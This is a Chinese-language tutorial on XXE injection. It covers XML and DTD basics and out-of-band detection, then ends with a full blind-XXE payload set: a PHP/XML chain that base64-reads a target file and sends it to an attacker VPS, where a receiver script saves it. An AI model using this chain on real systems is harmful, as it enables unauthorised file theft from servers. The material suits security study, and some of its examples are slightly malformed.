1. 介绍
XML外部实体注入(XML External Entity Injection)
如果Web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
XML指可扩展标记语言,被设计为传输和存储数据,xml文档包括xml声明、DTD文档类型定义(可选)、文档元素、其焦点是数据的内容,其把数据从HMTL分离,是独立于软件和硬件的信息传输工具。
- XML主要用途
-
- 配置文件:层级分明,结构清晰
- 在不同的系统之间交换数据
<?xml version="1.0" encoding="ISO-8859-1"?> //第一行为xml的声明,定义了xml的版本和使用的编码
<note> //文档的根元素,下面四行为根元素下的四个子元素
<to>大黄</to>
<from>大壮</from>
<heading>村头集合</heading>
<body>有妹子!</body>
</note>
###"阳光,开朗,大男孩"###
第一种:
<person name="阳光" character="开朗" result="大男孩">
第二种:
<person>
<name value="阳光" />
<character value="开朗">
<result value="大男孩">
</person>
json
{
"name:"阳光",
"chatacter":"开朗",
"result": "大男孩"
}
- 确定是否是用XML进行文件传输
2. DTD定义
DTD语法详细介绍【黑马程序员】 第七项 7)ENTITY
DTD全称Thedocument type definition,即是文档类型定义,可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。控制XML的格式规范。
- DTD作用:
-
- 通过DTD,每一个XML文件均可以携带一个自身相关的描述
- 验证数据
- 交换数据
举例
<?xml version="1.0" encoding="GB2312" standalone="yes">
<!DOCTYPE 购物篮 [
<!ELEMENT 购物篮 ANY>
<!ELEMENT 肉 EMPTY>
<!ATTLIST 肉 品种(鸡肉|牛肉|猪肉|鱼肉) "鸡肉">
]>
<购物篮>
<肉 品种="鱼肉"/>
<肉 品种="牛肉"/>
<肉/>
</购物篮>
- 内部实体声明:
<!ENTITY 实体名称 "实体的值">
- 外部实体声明:
<!ENTITY 实体名称 SYSTEM "外部XML文档的URL">
3. XXE 的危害
干货 | 一文讲清XXE漏洞原理及利用-腾讯云开发者社区-腾讯云
-
- 文件读取(最重要,经常利用)
- 内网端口扫描
- 命令执行
-
- 文件读取
-
-
- 知道原始XML传输数据的结构,利用该段代码去获取系统敏感文件
- 里面ENTITY后面的 xxe 在下面 XML 中的 &xxe 进行了引用实体(就是在XML文档中都引用&xxe就可以避免重复引用)
-
-
-
- 回显
-
- 带外测试(判断是否有漏洞但关闭回显)
-
- 是不是payload写错了
- 是不是存在这个漏洞
- 有存在漏洞但是无回显
- 是否存在这个文件
利用dnslog进行带外测试,判断是否能够出网
% file 为参数实体(只能在DTD中使用),不仅可以简化元素中定义的相同内容,还可以简化属性的定义
外网接收到出网信息,带外测试成功
- 如果带外测试成功
-
- 可以使用远程文件窃取
-
-
- 1、读本地服务器上的文件
-
payload 里面第一个实体 % file引用到 remote.dtd 里面,第二个 %remote直接执行 url ,第三个 %all 执行 remote.dtd 里的 url
利用远程服务器读取目标服务器上的文件,再写成txt文件传回主机
-
-
- 2、远程加载了恶意DTD文件
- 攻击者的服务器开启接收内容并写出文件
-
4. 无回显常用payload(与上述内容大致相同)
EOF是把中间内容当成字符串进行处理,防止内部某些字符转义产生问题
中间read用base64编码也是防止字符串转义
1.txt是读取目标的文件
1.php
<?php
$test = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.txt">
<!ENTITY % remote SYSTEM "http://vps地址/1.xml">
%remote;
%send;
]>
EOF;
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
?>
1.xml
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://vps地址/2.php?id=%file;'>"
>
%all;
2.php
<?php
file_put_contents("3.txt", $_GET["id"], FILE_APPEND);
?>
上述代码流程
- 首先,通过代码审计等方式找到有函数simplexml_load_string的地方,利用BP抓包,将 1.php 的 EOF内部分插入数据包中,传到目标机器A执行
- A执行了 %remote 和 %send 外部实体,去请求攻击者搭建的 vps B的 1.xml文件
- 1.xml 文件执行了 %all 实体,其中的 %send 实体也被执行,
- %send 中的 %file 又是在 1.php 中的外部实体,%file 将目标机器A中要读取的文件 1.txt base64编码后赋给 1.xml 的变量id,作为GET请求的参数,并传到 vps B 的 2.php,其将 id的内容写入 3.txt
- 所以如果无回显,就可以通过这三段代码,将需要读取的内容读取到 vps B上的 3.txt里进行查看